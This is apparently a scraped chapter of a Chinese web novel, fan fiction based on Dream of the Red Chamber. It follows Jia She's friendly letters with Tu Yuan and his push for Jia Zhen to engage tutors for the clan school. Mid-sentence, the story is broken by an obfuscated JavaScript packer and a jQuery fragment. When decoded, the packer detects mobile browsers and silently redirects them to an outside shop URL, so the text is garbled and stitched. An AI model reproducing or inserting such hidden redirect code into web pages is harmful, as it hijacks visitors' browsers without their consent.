77.第 77 章
    次日一早,贾赦刚起床,便先取了笔墨,将给屠渊的回信写好。

    先抗议了一回屠渊长篇累牍的告诫,贾赦严正告知,他不是一个孩子,而是承担他这一房兴衰的家主。

    他不瞒着屠渊也不是他无防人之心,而是他以为屠渊答应做他的靠山,又有幼年情谊和近日相处,故而信任屠渊为人,不会强取豪夺。

    再有,若屠渊缺钱,以他们的交情,贾赦是愿意相借,助他渡过难关的;或者屠渊若能给其他让贾赦满意的补偿,贾赦也不是硬要拽着那几十万银子。

    小小抒发了一下自己的心思,贾赦开始关心屠渊。

    既然傍晚收到的文书都还要用摞来算,屠渊就不必急着立时将他们处理完。

    每日处理急件,其他的慢慢来,保证身康体健才是正理,否则一个不慎累倒了,那才是真正要出事。

    毕竟他们都知道,皇上如今还病着,仅剩的另一个皇子一向荒唐,不帮倒忙就不错了。

    没将二人心知肚明的皇家情况写入信中,贾赦却将关心的话语翻来覆去写了好几遍,这才装好信件,让人拿给韦朔送走。

    针对这封信,屠渊三日后的回信中除了指出贾赦故意重复的小心眼,也多了些对数量繁多的请安折子的厌烦之语。

    贾赦又回信坚决否认了屠渊关于小心眼的猜测,并对他的劳累十分同情,于是送上好吃的当做安慰。

    屠渊喜欢贾赦送去的食物,回送了些宫中的稀罕吃食,信件里又多了些抱怨诉苦之语。

    就这么你来我往,二人的信件竟是一直没断过,而二人信件的内容,也渐渐从需要沟通的事宜,转变成了身边或开心或烦恼的点点滴滴。

    这也使得贾赦认为,他和屠渊单纯的靠山关系,已进化成了交情甚好的友人。

    不过这些都是后话,只说当日贾赦让韦朔送完信后,往贾母院子里请安回来,马广平便送来了消息,刘嵩最近的休沐日就在三日后。

    贾赦当即拿着贾敬给的三封帖子便去了隔壁宁国府。

    贾珍父子仍旧趴在同一间屋子养伤,见贾赦来探病,颤颤巍巍地要起身向他行礼。

    “你们俩消停点吧!”贾赦一人瞪了一眼,没好气道,“放心,有你们展露自己身残志坚的机会,不用急于这一时半刻。”

    贾珍应声趴了回去,小心地问,“不知赦叔说的机会是?”

    他心知肚明,贾赦或许对他有些期望,却完全不会在意他是否吃苦。或者说,只要他不死,贾赦是巴不得他更惨一点。故而对于他方才说的话,贾珍是不得不当心啊。

    贾赦挥了挥手中的三张帖子,道,“前日我去看了你爹,与他说了家塾缺先生的事,他便给了我这三份帖子,拿着帖子便能去拜访他的同年,请托他们帮忙寻先生。”

    “这……”贾珍下意识地抓了抓身下的被褥,眼神闪烁,“赦叔,我爹将帖子给了你,你自拿着去寻人便是了。”

    略一停顿,他补充,“我让吴华带人跟着,若是需要备什么礼办什么事,赦叔你全让他去。”

    贾赦不客气地冲着他冷哼,“你想得倒是挺美,事情都安排给我了,你就躲在后头偷懒?”

    “冤枉啊赦叔!”贾珍失声惊呼,他努力撑起身体,指了指自己身后,“我绝非有意躲懒,只是你也看到了,我身上家法的伤还没好,便是有心也无力啊!”

    “这你倒是猜错了,若是有心,此时的你最是有力。”贾赦摇头道。

    贾珍往远离他的方向躲了躲,克制地问,“赦叔此话从何说起?”

    “起因在你爹荐的第一位同年,翰林院侍讲学士刘嵩。”贾赦答道。

    他细细说了刘嵩科考全是第一名,却因小人作祟,生生错过了数次考试,耽误了二十几年才得以入仕。而这小人,却是因他坐馆之时教得太好,不愿放他远走的学生父母。

    “这位刘翰林可真真是倒霉!”贾珍一脸同情,随后忍不住担心,“如此一来,他定是不愿再来我们家塾坐馆了,我爹为何给赦叔你荐这么一位?”

    “你是不是傻?”贾赦克制住蠢蠢欲动想往贾珍脑袋去的手,“人家当官当的好好的,凭什么来我们这小小私塾坐馆?”

    他磨磨牙,在贾珍仍旧迷茫的眼神中说道,“你爹要我们去找他,是想请他给家塾荐几位落榜的秀才或举人!”

    “原来如此,”贾珍恍然点头,接着推测,“赦叔是觉得,刘大人曾经吃过亏,故而不会轻易荐人坐馆。于是用我的亲身经历,告知刘大人,我贾家看重家塾、整肃家风,不用担心荐来的塾师会遭到同样的迫害。”

    看着贾珍询问的眼神,贾赦满意地点点头,“没错。我已查探到,三日后刘大人休沐,到时候我陪你去拜访刘大人。”

    贾珍头点到一半,顿住抬头,“赦叔,你说的是,你陪我去拜访刘大人?”

    他没有听错吧?赦叔是要以他为主的意思?

    “没错。”贾赦用眼神告诉他没听错,“你是我贾家族长,往后的家塾也全是你负责,自然该由你出面相请,最为合适。”

    “可是……”贾珍忍不住迟疑。

    贾赦鼓励地拍拍他的背,“你上回就做的很好,我和你爹都相信你。”

    贾珍恍惚,“我爹也相信我?”

    “当然。”贾赦重重点头,又挥了挥手中的三张帖子,“你看,这些全都是你爹亲手写的帖子。我跟他说,你有心当好族长、重振我贾家,他可是与我说了许久的话,才终于放我出了玄真观。”

    嗯,他确实跟贾敬说了贾珍一心当族长的话,贾敬也确实留他说了许久才让他离开,他没有骗贾珍,只是略用了一些语言的艺术而已。

    贾珍不敢置信,然而在贾赦信念十足的眼神中,似乎又不得不信。

    放任贾珍神游天外,贾赦看向另一边,一直偷偷望过来的贾蓉。

    他扯出一个尽量慈和的笑,“蓉哥儿,你的伤可换过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493516|135759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    药了?这两日睡得可好?有没有好好吃药?”

    贾蓉微微红了脸,“大老爷,孙儿失礼了。这两日一天三顿汤药,早晚换药是万万避不过的。倒是睡觉的时候,身上又疼,趴着又难受,一晚上也不过勉强眯了两三个时辰。”

    “可怜的孩子,你受苦了。”贾赦弯腰揉了揉贾蓉的脑袋,怜惜道,“二十个板子呢,从来没这么丢脸这么痛过,对吧?”

    贾蓉的眼睛也红了,委屈巴巴地望着贾赦。

    贾赦手上的力道大了一分,声音更柔和,“所以啊,记住这一回的教训,该上学上学,该读书读书,不该去的地方别去,不该沾染的东西更是丁点都别碰。”

    “否则啊,大老爷告诉你,你更痛更丢脸的时候,还在后头呢。”

    贾蓉委屈的表情僵住,本要落下的那滴泪凝结在眼角,整个人都快傻了。他还以为是来安慰他,合着这是警告他来了!果然就像他爹说的,大老爷不是普通人,他们乖乖跟在后头就够了!

    “记住大老爷的话。”最后揉了一回贾蓉的脑袋,贾赦放开他,回到醒过神来的贾珍身旁。

    对着眼巴巴看过来的贾珍,贾赦也没说重话,只问,“想明白了?那三日后,我陪你去刘家?”

    “嗯!”贾珍咬着牙点头。

    贾赦满意地笑了,将贾敬推荐的另外两人的情况一一说明,与贾珍一同定下计划,备下礼物,约定好三日后的行程。

    到了约定的时日,贾赦随着贾珍去了刘家,一路只当个背景板,听着贾珍用不通文墨却万分诚挚的言辞,说动刘嵩,得了六封帖子。

    贾珍命人将刘嵩荐的这三位秀才三位举人都彻查了个遍,与贾赦商议,延请其中一位年过四十的秀才和一位三十多岁的举人。

    这位秀才有一个十八岁的秀才儿子,但若要负担二人同考,秀才家中便要继续节衣缩食,因此父亲决定放弃科考为儿子铺路。

    那位举人会试落榜了两回,但上进的心仍旧炙热,不过他并不愿压榨妻儿,这才出来坐馆。

    以贾家家塾学生们的状况,有一位秀才当先生已绰绰有余。贾珍多请这一位举人,一则名声更好听。

    二则与其结一份善缘,若是他下科得中,贾家便能多结交一位官员。

    三则那位秀才既然甘愿为儿子放弃科考,若其子能于家塾有所进益,他对家塾的学生定然更为尽心。

    而这所花费的银钱,于贾珍而言,连九牛一毛都算不上,他何乐而不为?

    贾赦也派人查探过刘嵩荐的几个人选,对贾珍的选择十分满意。

    刘嵩所荐之人,才学当是有的,以贾赦二人的眼光,也不必费心去分辨谁强谁弱了,只因这对他们而言,是完全不可能的事。

    贾珍所选之人,至少品行不差,而这正是贾家家塾如今最缺少的。

    得了贾赦首肯,贾珍亲自上门延请先生,又万般叮咛心腹为二人布置房舍,总算让家塾重新正式开了课。